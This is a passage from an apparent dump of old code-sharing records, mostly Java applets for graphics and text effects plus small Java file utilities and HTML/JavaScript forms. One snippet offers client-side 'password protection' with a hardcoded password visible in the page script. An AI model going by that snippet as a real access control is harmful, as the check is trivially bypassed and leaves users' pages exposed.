BOLDITALIC\n *\t bgColor & fgColor : white, black, lightGray, gray, darkGray, red, green, \n * & textColor blue, yellow, magenta, cyan, pink, orange\n *\t (RGB) : 255:255:255\n *\t (RGB) : 255,255,255\n *\t (RGB) : 255.255.255\n *\tplayBack : 0 ou 1\n *\tbgType : Oval, Rect, RoundRect\n *\tet pour le RoundRect, specifier le format du coin arrondis (cornerX, cornerY)\n *\n */\n\npublic class AnimCercles extends java.applet.Applet implements Runnable\n{\n\t// On cree un Thread pour l'applet\n\tThread runner;\n\t// Le message\n\tString text;\n\t\n\t// La police du message\n\tFont f;\n\tString fontString;\n\tint style;\n\tint size;\n\tColor textColor;\n\t\n\t// Position du message\n\tint x;\n\tint y;\n\t// Taille de l'ecran\n\tint width;\n\tint height;\n\t\n\t// Le max entre width et height.\n\tint max;\n\t// Pour le double buffering (eviter les scintillements)\n\tImage offscreenImg;\n\tGraphics offscreenG;\n\t\n\t// Les fonds de l'ecran (pour gagner en rapidite dans l'anim)\n\tImage[] fondEcran = new Image[6];\n\tGraphics[] fondEcranG = new Graphics[6];\n\t// Couleur du fond\n\tColor bgColor;\n\tColor fgColor;\n\t\n\t// Le type de motif du fond (Oval, Rect, RoundRect)\n\tString bgType;\n\t\n\t// Dans le cas d'un RoundRect, la taille de l'arrondis\n\tint cornerX;\n\tint cornerY;\n\t\n\t// Decalage entre 2 cerles\n\tint step;\n\t\n\t// Temps d'attente entre chaque plans de l'animation\n\tint timeSleep;\n\t\n\t// L'animation fait un aller retour si playBack = 1\n\tint playBack;\n\t// Pour la gestion des couleurs RGB\n String rgbDelimiter = \":,.\";\n StringTokenizer st;\n\n\tpublic void init()\n\t{\n\t\t// Recuperation des parametres de l'Applet\n\t\tString s;\n\t\tInteger intObj;\n\t\t\n\t\t// Pour obtenir la taille de l'Applet en pixels.\n try\n {\n intObj = new Integer(getParameter(\"width\"));\n width = intObj.intValue();\n } \n catch (Exception e)\n {\n width = 300;\n }\n try\n {\n intObj = new Integer(getParameter(\"height\"));\n height = intObj.intValue();\n }\n catch (Exception e)\n {\n height = 100;\n }\n \ts = getParameter(\"bgType\");\n if (s == null)\n bgType = \"Oval\";\n else if (s.equalsIgnoreCase(\"Rect\"))\n bgType = \"Rect\";\n else if (s.equalsIgnoreCase(\"RoundRect\"))\n bgType = \"RoundRect\";\n else\n bgType = \"Oval\";\n try\n {\n intObj = new Integer(getParameter(\"cornerX\"));\n cornerX = intObj.intValue();\n }\n catch (Exception e)\n {\n cornerX = 25;\n }\n try\n {\n intObj = new Integer(getParameter(\"cornerY\"));\n cornerY = intObj.intValue();\n }\n catch (Exception e)\n {\n cornerY = 25;\n }\n\t\ttext = getParameter(\"text\");\n\t\tif (text == null)\n\t\t\ttext = \"NCTech !\";\n\t\t\n \ts = getParameter(\"font\");\n if (s == null)\n fontString = \"TimesRoman\";\n else if (s.equalsIgnoreCase(\"TimesRoman\"))\n fontString = \"TimesRoman\";\n else if (s.equalsIgnoreCase(\"Courier\"))\n fontString = \"Courier\";\n else if (s.equalsIgnoreCase(\"Helvetica\"))\n fontString = \"Helvetica\";\n else if (s.equalsIgnoreCase(\"Dialog\"))\n fontString = \"Dialog\";\n else\n fontString = \"TimesRoman\";\n s = getParameter(\"style\");\n if (s == null)\n style = Font.PLAIN;\n else if (s.equalsIgnoreCase(\"PLAIN\"))\n style = Font.PLAIN;\n else if (s.equalsIgnoreCase(\"BOLD\"))\n style = Font.BOLD;\n else if (s.equalsIgnoreCase(\"ITALIC\"))\n style = Font.ITALIC;\n else if (s.equalsIgnoreCase(\"BOLDITALIC\") || s.equalsIgnoreCase(\"ITALICBOLD\"))\n style = Font.BOLD + Font.ITALIC;\n else\n style = Font.PLAIN;\n\t\t\n try\n {\n intObj = new Integer(getParameter(\"size\"));\n size = intObj.intValue();\n }\n catch (Exception e)\n {\n size = 20;\n }\n s = getParameter(\"textColor\");\n if (s != null) st = new StringTokenizer(s, rgbDelimiter);\n if (s == null)\n textColor = Color.lightGray;\n else if (s.equalsIgnoreCase(\"white\"))\n textColor = Color.white;\n else if (s.equalsIgnoreCase(\"black\"))\n textColor = Color.black;\n else if (s.equalsIgnoreCase(\"lightGray\"))\n textColor = Color.lightGray;\n else if (s.equalsIgnoreCase(\"gray\"))\n textColor = Color.gray;\n else if (s.equalsIgnoreCase(\"darkGray\"))\n textColor = Color.darkGray;\n else if (s.equalsIgnoreCase(\"red\"))\n textColor = Color.red;\n else if (s.equalsIgnoreCase(\"green\"))\n textColor = Color.green;\n else if (s.equalsIgnoreCase(\"blue\"))\n textColor = Color.blue;\n else if (s.equalsIgnoreCase(\"magenta\"))\n textColor = Color.magenta;\n else if (s.equalsIgnoreCase(\"cyan\"))\n textColor = Color.cyan;\n else if (s.equalsIgnoreCase(\"pink\"))\n textColor = Color.pink;\n else if (s.equalsIgnoreCase(\"orange\"))\n textColor = Color.orange;\n else if (st.countTokens() == 3) {\n Integer r = new Integer(st.nextToken());\n Integer g = new Integer(st.nextToken());\n Integer b = new Integer(st.nextToken());\n textColor = new Color(r.intValue(), g.intValue(), b.intValue());\n } else\n textColor = Color.yellow; \n\t\t\n try\n {\n intObj = new Integer(getParameter(\"step\"));\n step = intObj.intValue();\n }\n catch (Exception e)\n {\n step = 5;\n }\n try\n {\n intObj = new Integer(getParameter(\"timeSleep\"));\n timeSleep = intObj.intValue();\n }\n catch (Exception e)\n {\n timeSleep = 10;\n }\n try\n {\n intObj = new Integer(getParameter(\"playBack\"));\n playBack = intObj.intValue();\n }\n catch (Exception e)\n {\n playBack = 1;\n }\n\n s = getParameter(\"bgColor\");\n if (s != null) st = new StringTokenizer(s, rgbDelimiter);\n if (s == null)\n bgColor = Color.lightGray;\n else if (s.equalsIgnoreCase(\"white\"))\n bgColor = Color.white;\n else if (s.equalsIgnoreCase(\"black\"))\n bgColor = Color.black;\n else if (s.equalsIgnoreCase(\"gray\"))\n bgColor = Color.gray;\n else if (s.equalsIgnoreCase(\"darkGray\"))\n bgColor = Color.darkGray;\n else if (s.equalsIgnoreCase(\"red\"))\n bgColor = Color.red;\n else if (s.equalsIgnoreCase(\"green\"))\n bgColor = Color.green;\n else if (s.equalsIgnoreCase(\"blue\"))\n bgColor = Color.blue;\n else if (s.equalsIgnoreCase(\"yellow\"))\n bgColor = Color.yellow;\n else if (s.equalsIgnoreCase(\"magenta\"))\n bgColor = Color.magenta;\n else if (s.equalsIgnoreCase(\"cyan\"))\n bgColor = Color.cyan;\n else if (s.equalsIgnoreCase(\"pink\"))\n bgColor = Color.pink;\n else if (s.equalsIgnoreCase(\"orange\"))\n bgColor = Color.orange;\n else if (st.countTokens() == 3) {\n Integer r = new Integer(st.nextToken());\n Integer g = new Integer(st.nextToken());\n Integer b = new Integer(st.nextToken());\n bgColor = new Color(r.intValue(), g.intValue(), b.intValue());\n } else\n bgColor = Color.lightGray; \n s = getParameter(\"fgColor\");\n if (s != null) st = new StringTokenizer(s, rgbDelimiter);\n if (s == null)\n fgColor = Color.lightGray;\n else if (s.equalsIgnoreCase(\"white\"))\n fgColor = Color.white;\n else if (s.equalsIgnoreCase(\"black\"))\n fgColor = Color.black;\n else if (s.equalsIgnoreCase(\"lightGray\"))\n fgColor = Color.lightGray;\n else if (s.equalsIgnoreCase(\"gray\"))\n fgColor = Color.gray;\n else if (s.equalsIgnoreCase(\"darkGray\"))\n fgColor = Color.darkGray;\n else if (s.equalsIgnoreCase(\"red\"))\n fgColor = Color.red;\n else if (s.equalsIgnoreCase(\"green\"))\n fgColor = Color.green;\n else if (s.equalsIgnoreCase(\"blue\"))\n fgColor = Color.blue;\n else if (s.equalsIgnoreCase(\"magenta\"))\n fgColor = Color.magenta;\n else if (s.equalsIgnoreCase(\"cyan\"))\n fgColor = Color.cyan;\n else if (s.equalsIgnoreCase(\"pink\"))\n fgColor = Color.pink;\n else if (s.equalsIgnoreCase(\"orange\"))\n fgColor = Color.orange;\n else if (st.countTokens() == 3) {\n Integer r = new Integer(st.nextToken());\n Integer g = new Integer(st.nextToken());\n Integer b = new Integer(st.nextToken());\n fgColor = new Color(r.intValue(), g.intValue(), b.intValue());\n } else\n fgColor = Color.yellow; \n \n\t\tsetBackground(bgColor);\n\t\t\n\t\t\n\t\tf = new Font(fontString, style, size);\n\t\t\n\t\t// Pour un placement correct du message dans la zone d'affichage\n\t\tFontMetrics fm = getFontMetrics(f);\n\t\t\n\t\tint textWidth = fm.stringWidth(text);\n\t\tx = (width - textWidth) / 2;\n\t\t\n\t\tint textHeight = fm.getAscent() + fm.getDescent();\n\t\ty = (height - textHeight) / 2 + fm.getAscent();\n\n\t\toffscreenImg = createImage(width, height);\n\t\toffscreenG = offscreenImg.getGraphics();\n\t\t\n\t\toffscreenG.setColor(bgColor);\n\t\toffscreenG.fillRect(0, 0, width, height);\n\t\t\n\t\trepaint();\n\t}\n\t\n\tpublic void start()\n\t{\n\t\tif (runner == null);\n\t\t{\n\t\t\trunner = new Thread(this);\n\t\t\trunner.start();\n\t\t}\n\t}\n\t\n\tpublic void stop()\n\t{\n\t\tif (runner != null)\n\t\t{\n\t\trunner.stop();\n\t\trunner = null;\n\t\t}\n\t}\n\tpublic void createBackground()\n\t{\n\t\tboolean switchColor;\n\t\tfor (int i=0; i <= 5; i++)\n\t\t{\n\t\t\tfondEcran[i] = createImage(width, height);\n\t\t\tfondEcranG[i] = fondEcran[i].getGraphics();\n\t\t\t\n\t\t\tfondEcranG[i].setColor(bgColor);\n\t\t\tfondEcranG[i].fillRect(0, 0, width, height);\n\t\t\t\n\t\t\tswitchColor = true;\n\t\t\t\n\t\t\tfor (int j= max + ((i + 1) * (step / 3)); j >= 0; j -= step)\n\t\t\t{\n\t\t\t\tif (switchColor)\n\t\t\t\t{\n\t\t\t\t\tfondEcranG[i].setColor(bgColor);\n\t\t\t\t\tif (bgType.equals(\"Oval\")) fondEcranG[i].fillOval((width - j) / 2, (height - j) / 2, j, j);\n\t\t\t\t\tif (bgType.equals(\"Rect\")) fondEcranG[i].fillRect((width - j) / 2, (height - j) / 2, j, j);\n\t\t\t\t\tif (bgType.equals(\"RoundRect\")) fondEcranG[i].fillRoundRect((width - j) / 2, (height - j) / 2, j, j, cornerX, cornerY);\n\t\t\t\t\tswitchColor = false;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\t\t\t\t\n\t\t\t\t\tfondEcranG[i].setColor(fgColor);\n\t\t\t\t\tif (bgType.equals(\"Oval\")) fondEcranG[i].fillOval((width - j) / 2, (height - j) / 2, j, j);\n\t\t\t\t\tif (bgType.equals(\"Rect\")) fondEcranG[i].fillRect((width - j) / 2, (height - j) / 2, j, j);\n\t\t\t\t\tif (bgType.equals(\"RoundRect\")) fondEcranG[i].fillRoundRect((width - j) / 2, (height - j) / 2, j, j, cornerX, cornerY);\n\t\t\t\t\tswitchColor = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tpublic void run()\n\t{\n\t\tif (width > height)\n\t\t\t\tmax = width;\n\t\telse max = height;\n\t\t\n\t\tmax *= Math.sqrt(2);\n\t\n\t\tcreateBackground();\n\t\trepaint();\n\t\t\n\t\toffscreenG.setFont(f);\n\t\toffscreenG.setColor(textColor);\n\t\t\n\t\twhile (true)\n\t\t{\n\t\t\tfor (int i=0; i <= 5; i++)\n\t\t\t{\n\t\t\t\toffscreenG.drawImage(fondEcran[i], 0, 0, this);\n\t\t\t\toffscreenG.drawString(text, x, y);\n\t\t\t\trepaint();\n\t\t\t\t\n\t\t\t\ttry { Thread.sleep(timeSleep); }\n\t\t\t\tcatch (InterruptedException e) { }\n\t\t\t}\n\t\t\t\n\t\t\tif (playBack == 1)\n\t\t\t{\n\t\t\t\tfor (int i=5; i >= 0; i--)\n\t\t\t\t{\n\t\t\t\t\toffscreenG.drawImage(fondEcran[i], 0, 0, this);\n\t\t\t\t\toffscreenG.drawString(text, x, y);\n\t\t\t\t\t\n\t\t\t\t\ttry { Thread.sleep(timeSleep); }\n\t\t\t\t\tcatch (InterruptedException e) { }\n\t\n\t\t\t\t\trepaint();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic void update(Graphics g)\n\t{\n\t\tpaint(g);\n\t}\n\t\n\tpublic void paint(Graphics g)\n\t{\t\t\t\t\n\t\tg.drawImage(offscreenImg, 0, 0, this);\n\t}\n\t\n\tpublic String getAppletInfo()\n\t{\n\t\treturn \"AnimCercles, april 1997, Vincent Zimmermann at NCTech, France\";\n\t}\n}"},{"WorldId":2,"id":1701,"LineNumber":1,"line":"<html>\n\n<head>\n<title> </title>\n</head>\n<body bgcolor=\"#000000\" text=\"#FFFF00\" link=\"#00FFFF\" vlink=\"#C0C0C0\">\n\n<script LANGUAGE=\"Javascript\">\n\n</script>\n\nContinue your page here..\n</body>\n</html>\n\n"},{"WorldId":2,"id":1714,"LineNumber":1,"line":"<html>\n\n<head>\n<script Language=\"JavaScript\">\n\n</script>\n<title>JavaScript Mail Form</title>\n\n<script Language=\"JavaScript\">\n\n// end hiding from non compliant browsers-->\n</script>\n\n</head>\n<body>\n<img src=\"../../bitmaps/demo.gif\" WIDTH=\"480\" HEIGHT=\"43\">\n<center>\n\nJavaScript Mail Form\n\n</center>\n \n\nYou can use standard HTML to send email to a \"hard-coded\" email address\nwith a \"hard-coded\" subject. (The body of the message can be any info keyed in the form).\nHowever, if you want to send email to a user-specified email address and/or a user-specified\nsubject, then HTML cannot do the job. This script shows how Javascript can be used to allow\nthe user of the form to specify the recipient and subject (the trick: use a hidden form\nand populate this form with the contents of the visible form). You can customise the visible\nform to suit your requirements. Please note that if you have not configured your browser's\nemail program, this script will not work. \nTry it! send an email to us with your rating. Then, send an email to yourself and see how the\nemail message looks like.\n\n\n\nRate us\n<table>\n<form NAME=\"dataForm\">\n\n<tr>\n<th ALIGN=\"right\">Recipient:\n<td><input NAME=\"recipient\" SIZE=\"40\" VALUE=\"pbc@pbc.bhcom1.com\">\n</tr>\n\n<tr>\n<th ALIGN=\"right\">Subject:\n<td><input NAME=\"subject\" SIZE=\"40\" VALUE=\"Rating of the JavaScript Corner\">\n</tr>\n<tr>\n<th ALIGN=\"right\" VALIGN=\"top\">Your Name:\n<td><input NAME=\"name\" SIZE=\"40\" VALUE>\n</tr>\n<tr>\n<th ALIGN=\"right\" VALIGN=\"top\">Country:\n<td><input NAME=\"country\" SIZE=\"40\" VALUE>\n</tr>\n<tr>\n<th ALIGN=\"right\" VALIGN=\"top\">eMail:\n<td><input NAME=\"email\" SIZE=\"40\" VALUE>\n</tr>\n<tr>\n<th ALIGN=\"right\" VALIGN=\"top\">How do you rate us? (1 to 10)\n<td><input NAME=\"rating\" SIZE=\"2\" VALUE>\n</tr>\n</form>\n</table>\n<form NAME=\"mailForm\" ACTION=\"mailto:\" METHOD=\"post\" ENCTYPE=\"text/plain\" onSubmit=\"return mailIt(this)\">\n<input TYPE=\"hidden\" NAME=\"mailBody\" VALUE>\n<tr>\n<td COLSPAN=\"2\" ALIGN=\"center\">\n<input TYPE=\"submit\" VALUE=\"Send This eMail\tForm Now\">\n</tr>\n</form>\n\n</body>\n</html>\n"},{"WorldId":2,"id":1725,"LineNumber":1,"line":"\n<head>\n\n<script language=\"JavaScript\">\nvar password =\"12345\"; //set this to the desired string\nvar protected_page =\"../common/2ndwindow.htm\"; //set this to the destination URL\nvar pd=\"\";\npd=prompt(\"You are about to enter a restricted zone. Password:\",\"\");\nif(pd!=password)\n{\nalert(\"Invalid password\");\nhistory.back();\n}\nelse\n{\nalert(\"Password accepted\");\nwindow.location.href=protected_page;\n}\n</script>\n\n<title>Simple Password Protection</title>\n</head>\n<body bgcolor=\"#000000\" text=\"#FFFF00\" link=\"#00FFFF\" vlink=\"#C0C0C0\">\n<img src=\"../../bitmaps/jsbanner.gif\" width=\"500\" height=\"25\">\n<h2 align=\"center\">Simple Password Protection</h2>\n</body>\n</html>\n"},{"WorldId":2,"id":1739,"LineNumber":1,"line":"import java.applet.*; \nimport java.awt.*; \npublic class Colorcycle extends Applet implements Runnable \n{ \nprivate Thread m_Colorcycle = null; \nprivate Color linee[]; \nprivate Image dbufferimage; \nprivate Graphics dbuffer; \nString scrolltext; \nint scrolltextpos = 0; \nint maxpos = 0; \nint rcol = 0; \nint gcol = 0; \nint bcol = 0; \nint linefactor = 4; \nImage logopicture; \n\nboolean pleasewait = true; \nboolean rcol_add = true; \nboolean bcol_add = false; \nboolean gcol_add = false; \nboolean growing = true; \npublic void init() \n{ \nString parm; \nlinee = new Color[size().height/linefactor]; \n// Loads picture \nMediaTracker tracker = new MediaTracker(this); \nlogopicture = getImage(getDocumentBase(), getParameter(\"logo\")); \n\nparm = getParameter(\"scroll\"); \nif ( parm !=null) \nscrolltext = parm; \nelse \nscrolltext = \"\"; \nparm = getParameter(\"factor\"); \nif ( parm !=null) \nlinefactor = Integer.parseInt(parm);; \ntracker.addImage(logopicture, 0); \ntry \n{ \ntracker.waitForID(0); \n} \ncatch(Exception e) {}; \nfor(maxpos = 0; maxpos<(size().height/linefactor)-1 ; maxpos++) \n{ \nlinee[maxpos]=new Color(0,0,0); \n} \nmaxpos = size().height; \ndbufferimage = createImage(size().width,size().height); \nscrolltextpos = size().width + 20; \ndbuffer = dbufferimage.getGraphics(); \ndbuffer.setFont(new Font(\"Arial\",Font.BOLD,24)); \n} \npublic void update(Graphics g) \n{ \nif (logopicture == null) \nreturn; \npleasewait = true; \nfor(maxpos = 1; maxpos < (size().height/linefactor)-1 ; maxpos++) \n{ \nlinee[maxpos-1]=linee[maxpos]; \ndbuffer.setColor(linee[maxpos]); \ndbuffer.fillRect(0,(maxpos-1)*linefactor,size().width,((maxpos-1)*linefactor)+linefactor); \n} \ncreatecolorFade(); \nlinee[maxpos-1]=new Color(rcol,gcol,bcol); \ndbuffer.drawImage(logopicture,0,0,this); \nscrolltextpos -=2; \ndbuffer.setColor(new Color(rcol,gcol,bcol)); \ndbuffer.drawString(scrolltext,scrolltextpos,size().height-15); \npleasewait = false; \nif (scrolltextpos * -1 > scrolltext.length()*12) \nscrolltextpos =size().width + 30; \npaint(g); \n} \n\npublic void paint(Graphics g) \n{ \nif(!pleasewait) \n{ \nif (dbufferimage!= null) \n{ \ng.drawImage(dbufferimage, 0, 0, null); \n} \n} \n} \npublic void start() \n{ \nif (m_Colorcycle == null) \n{ \nm_Colorcycle = new Thread(this); \nm_Colorcycle.start(); \n} \n} \npublic void stop() \n{ \nif (m_Colorcycle != null) \n{ \nm_Colorcycle.stop(); \nm_Colorcycle = null; \n} \n} \npublic void run() \n{ \nwhile (true) \n{ \ntry \n{ \nrepaint(); \nThread.sleep(50); \n} \ncatch (InterruptedException e) \n{ \nstop(); \n} \n} \n} \npublic void createcolorFade() \n{ \nif( growing) \n{ \nif( rcol_add == true ) \n{ \nrcol += 15; \nif ( rcol == 255) \n{ \nrcol_add = false; \ngcol_add = true; \n} \n} \nif( gcol_add == true ) \n{ \ngcol += 15; \nif ( gcol == 255) \n{ \ngcol_add = false; \nbcol_add = true; \n} \n} \nif( bcol_add == true ) \n{ \nbcol += 15; \nif ( bcol == 255) \n{ \nbcol_add = false; \ngcol_add = true; \ngrowing = false; \n} \n} \n} \nelse \n{ \nif( gcol_add == true ) \n{ \ngcol -= 15; \nif ( gcol == 0) \n{ \ngcol_add = false; \nrcol_add = true; \n} \n} \nif( rcol_add == true ) \n{ \nrcol -= 15; \nif ( rcol == 0) \n{ \nrcol_add = false; \nbcol_add = true; \n} \n} \nif( bcol_add == true ) \n{ \nbcol -= 15; \nif ( bcol == 0) \n{ \nbcol_add = false; \nrcol_add = true; \ngrowing = true; \n} \n} \n} \n} \n\n} \n"},{"WorldId":2,"id":248,"LineNumber":1,"line":"try {\n URL mail = new URL(\"MAILTO:YOU@HOME.ORG\");\n} catch (MalformedURLException e) {\n System.err.println(\"Invalid URL\");\n}\n \ngetAppletContext().showDocument(mail);\n \n"},{"WorldId":2,"id":256,"LineNumber":1,"line":"import java.io.*;\nclass ReadRawData {\n public static void main (String args[]) {\n boolean done = false;\n byte b[] = new byte[1024];\n int num_bytes = 0;\n FileInputStream fin = null;\n try {\n fin = new FileInputStream(args[0]);\n }\n catch(ArrayIndexOutOfBoundsException e) {\n System.out.println(\"You have to give me the name of a file to open.\");\n System.exit(0); \n }\n catch (FileNotFoundException e) {\n System.out.println(\"Could not open input file \" + args[0]);\n System.exit(0);\n }\n catch(IOException e) {\n System.out.println(\"Error while opening input file\" + args[0]);\n System.exit(0);\n }\n catch (Exception e) {\n System.out.println(\"Unexpected exception: \" + e);\n System.exit(0); \n }\n try {\n num_bytes = fin.read(b);\n } \n catch(IOException e) {\n System.out.println(\"Finished Reading: \" + e);\n done = true;\n }\n catch (Exception e) {\n System.out.println(\"Unexpected exception: \" + e);\n System.exit(0); \n }\n \n while(!done) {\n System.out.write(b, 0, num_bytes);\n try {\n num_bytes = fin.read(b);\n }\n catch(IOException e) {\n System.out.println(\"Finished Reading: \" + e);\n done = true;\n }\n catch (Exception e) {\n System.out.println(\"Unexpected exception: \" + e);\n System.exit(0); \n }\n if (num_bytes == -1) done = true;\n } // end while\n \n } // end main\n \n} // end ReadRawData\nOn the other hand if you're reading a text file in Java 1.0 you'll probably want to use a DataInputStream which gives you a readLine() method that returns successive lines of the file as Java Strings. You can then process each String as you see fit. \n// Implement the Unix cat utility in java\nimport java.io.*;\nclass cat {\n public static void main (String args[]) {\n \n String thisLine;\n \n //Loop across the arguments\n for (int i=0; i < args.length; i++) {\n \n //Open the file for reading\n try {\n FileInputStream fin = new FileInputStream(args[i]);\n try {\n DataInputStream myInput = new DataInputStream(fin);\n \n try {\n while ((thisLine = myInput.readLine()) != null) { // while loop begins here\n System.out.println(thisLine);\n } // while loop ends here\n }\n catch (Exception e) {\n System.out.println(\"Error: \" + e);\n }\n } // end try\n catch (Exception e) {\n System.out.println(\"Error: \" + e);\n }\n \n } // end try\n catch (Exception e) {\n System.out.println(\"failed to open file \" + args[i]);\n System.out.println(\"Error: \" + e);\n }\n } // for ends here\n \n} // main ends here\n}\nThis code emulates the Unix \"cat\" command. Given a series of filenames on the command line it concatenates the files onto the standard output. \nIn Java 1.1 DataInputStream.readLine() is deprecated. You should use a BufferedReader instead as in this class: \n\n// Implement the Unix cat utility in java\nimport java.io.*;\nclass cat {\n public static void main (String args[]) {\n \n String thisLine;\n \n //Loop across the arguments\n for (int i=0; i < args.length; i++) {\n \n //Open the file for reading\n try {\n FileReader fr = new FileReader(args[i]);\n BufferedReader myInput = new BufferedReader(fr);\n \n while ((thisLine = myInput.readLine()) != null) { // while loop begins here\n System.out.println(thisLine);\n } // while loop ends here\n \n } // end try\n catch (IOException e) {\n System.out.println(\"Error: \" + e);\n }\n \n } // for ends here\n \n} // main ends here\n}\n"},{"WorldId":2,"id":258,"LineNumber":1,"line":"import java.io.*;\nclass AppendToAFile {\n public static void main (String args[]) {\n for (int i = 0; i < args.length; i++) {\n //First open the file you want to append to\n \n try {\n RandomAccessFile raf = new RandomAccessFile(args[i], \"rw\");\n // Position yourself at the end of the file\n raf.seek(raf.length());\n // Write the String into the file. Note that you must\n // explicitly handle line breaks.\n raf.writeBytes(\"\\nKilroy was here!\\n\");\n }\n catch (IOException e) {\n System.out.println(\"Error opening file: \" + e);\n }\n \n }\n } \n}\n"},{"WorldId":2,"id":259,"LineNumber":1,"line":"String hostname = InetAddress.getByName(\"199.1.32.90\").getHostName()"},{"WorldId":2,"id":261,"LineNumber":1,"line":"Add the following three private fields to your applet and the public update() method. Flicker will magically disappear. \n\n private Image offScreenImage;\n private Dimension offScreenSize;\n private Graphics offScreenGraphics;\n public final synchronized void update (Graphics g) {\n Dimension d = size();\n if((offScreenImage == null) || (d.width != offScreenSize.width) || (d.height != offScreenSize.height)) {\n offScreenImage = createImage(d.width, d.height);\n offScreenSize = d;\n offScreenGraphics = offScreenImage.getGraphics();\n }\n offScreenGraphics.clearRect(0, 0, d.width, d.height);\n paint(offScreenGraphics);\n g.drawImage(offScreenImage, 0, 0, null);\n }\n"},{"WorldId":2,"id":1740,"LineNumber":1,"line":"import java.applet.*; \nimport java.awt.*; \nimport java.awt.image.PixelGrabber; \nimport java.awt.image.MemoryImageSource; \n\npublic class CoolScroll extends Applet implements Runnable \n{ \nprivate Thread m_CoolScroll = null; \nboolean asodreadisegna = false; \nprivate double rad = 20.0, \nrad_inc = 0.5, \nRAD = 3.1415926535 / 180, \nang_x = 0.0, \nangolo_x = 0.0, \ninc_factor = 1.5; \n\nint asciioffset = 0; \nint veloce; \nchar msg[]; \nint msgbounceindex []; \nint lametable[]; \nint xadd = 0; \nint scrollpos = 0; \nint mirrorpic[], \nswappic[]; \nint startx = 0, \nstarty = 0, \nmsglenght; \nColor forecolor, \nbackcolor; \nImage backdrop; \nImage appletimage; \nImage cropfont, \nupperimage, \nlowerimage; \nint redmaskadd = 90, \ngreenmaskadd = 120, \nbluemaskadd = 140; \nint redadd = 5, \ngreenadd = 5, \nblueadd = 5; \nImage letter; \nint extent_x, \nextent_y; \nint letterwidth = 0, \nletterheight = 0; \nprivate MemoryImageSource screenMem; \nGraphics gfx, \nlettergfx, \nappletgfx; \npublic void init() \n{ \nString messaggio; \nmessaggio = getParameter(\"scrolltext\"); \nif(messaggio == null) \n{ \nmessaggio=\"SAY SOMETHING TO THE WORLD...WRITE IT!\"; \n} \nveloce = Integer.parseInt(getParameter(\"scrollspeed\")); \nasciioffset = Integer.parseInt(getParameter(\"asciioffset\")); \n//Single letter build \nletterwidth = Integer.parseInt(getParameter(\"fontx\")); \nletterheight = Integer.parseInt(getParameter(\"fonty\")); \nletter = createImage(letterwidth , letterheight ); \nlettergfx = letter.getGraphics(); \n//Single letter build \nappletimage = createImage(size().width , size().height); \nappletgfx = appletimage.getGraphics(); \n//Half scroll build \nextent_x = size().width / 2; \nextent_y = size().height / 4; \nupperimage = createImage( extent_x , extent_y ); \ngfx = upperimage.getGraphics(); \nscrollpos = extent_x; \nswappic = new int[extent_x * extent_y + extent_x]; \nmirrorpic = new int[extent_x * extent_y + extent_x]; \n//Half scroll build \n//ScrollText build \nmsglenght = messaggio.length(); \nmsg = new char[msglenght+1]; \n//Get ready to bounce... \nmsgbounceindex = new int[msglenght+1]; \nlametable = new int[16]; \nloadlameBounce(); \nint nowind = 0; \nfor (int loop=0; loop < msglenght; loop++) \n{ \nmsgbounceindex[loop] = nowind; \nif(++nowind>15) \nnowind = 0; \n} \n\n\nmsg = messaggio.toCharArray(); \n//ScrollText build \nMediaTracker tracker = new MediaTracker(this); \ncropfont = getImage(getDocumentBase(), getParameter(\"fontimage\")); \ntracker.addImage(cropfont, 0); \ntry \n{ \ntracker.waitForID(0); \n} \ncatch (InterruptedException e) \n{ \n} \nMediaTracker tracker2 = new MediaTracker(this); \nbackdrop = getImage(getDocumentBase(), getParameter(\"backimage\")); \ntracker2.addImage(backdrop, 1); \ntry \n{ \ntracker2.waitForID(1); \n} \ncatch (InterruptedException e) \n{ \n} \nforecolor = new Color(255,0,0); \nbackcolor = new Color(0,0,0); \nscreenMem = new MemoryImageSource(extent_x, \nextent_y, \nmirrorpic, \n0, \nextent_x); \n\n} \npublic void update(Graphics g) \n{ \ngfx.drawImage(backdrop,0,0,this); \nBounceScroll(); \nloadPix(); \nrenderPix(); \nappletgfx.drawImage(upperimage,0,0, extent_x * 2, extent_y * 2, this); \nappletgfx.drawImage(lowerimage,0,extent_y*2, extent_x * 2, (extent_y * 2)+xadd, this); \npaint(g); \n} \n\npublic void paint(Graphics g) \n{ \nif (appletgfx != null) \n{ \ng.drawImage(appletimage ,0,0, this); \n} \n} \npublic void start() \n{ \nif (m_CoolScroll == null) \n{ \nm_CoolScroll = new Thread(this); \nm_CoolScroll.start(); \n} \n} \npublic void stop() \n{ \nif (m_CoolScroll != null) \n{ \nm_CoolScroll.stop(); \nm_CoolScroll = null; \n} \n} \npublic void run() \n{ \nwhile (true) \n{ \ntry \n{ \nrepaint(); \nThread.sleep(50); \nSystem.gc(); \n} \ncatch (InterruptedException e) \n{ \nstop(); \n} \n} \n} \n\nprivate void loadPix() \n{ \nint punto = 0; \nint themask = 0; \nasodreadisegna = true; \nPixelGrabber grabber = new PixelGrabber( upperimage, \n0, \n0, \nextent_x, \nextent_y, \nswappic , \n0, \nextent_x); \nboolean done = false; \ndo \n{ \ntry \n{ \ndone = grabber.grabPixels( 500 ); \n} \ncatch ( InterruptedException e ) {} \n} \nwhile( !done ); \n\nasodreadisegna = false; \n} \nprivate void renderPix() \n{ \nint punto = 0; \nint themask = 0; \nint red = 0; \nint green = 0; \nint blue = 0; \nint yindex = extent_y-1; \nredmaskadd += redadd; \ngreenmaskadd += greenadd; \nbluemaskadd += blueadd; \nif(redmaskadd == 255 || redmaskadd == 90 ) \nredadd = redadd * -1; \nif(greenmaskadd == 255 || greenmaskadd == 90 ) \ngreenadd = greenadd * -1; \nif(bluemaskadd == 255 || bluemaskadd == 90 ) \nblueadd = blueadd * -1; \nfor(int loopy = 0; loopy < extent_y; loopy++) \n{ \nfor(int loopx = 0; loopx < extent_x; loopx++) \n{ \npunto = swappic[extent_x * yindex + loopx]; \nthemask = punto & 0x00ff0000; \nred = themask >> 16; \nthemask = punto & 0x0000ff00; \ngreen = themask >> 8; \nthemask = punto & 0x000000ff; \nblue = themask; \n//red = blue; \n//green = blue; \nred = red; \ngreen = green; \nred = (int)((red * redmaskadd)<<8); \ngreen = (int)((green * greenmaskadd)); \nblue = (int)((blue * bluemaskadd)>>8); \n\n\nmirrorpic[extent_x * loopy + loopx] = 0xff000000 |(red & 0x00ff0000) | (green & 0x0000ff00) | (blue & 0xff); \n} \nyindex--; \n} \nlowerimage = createImage(screenMem); \n} \n// Lame Pre-Calc bounce table.... \nprivate void 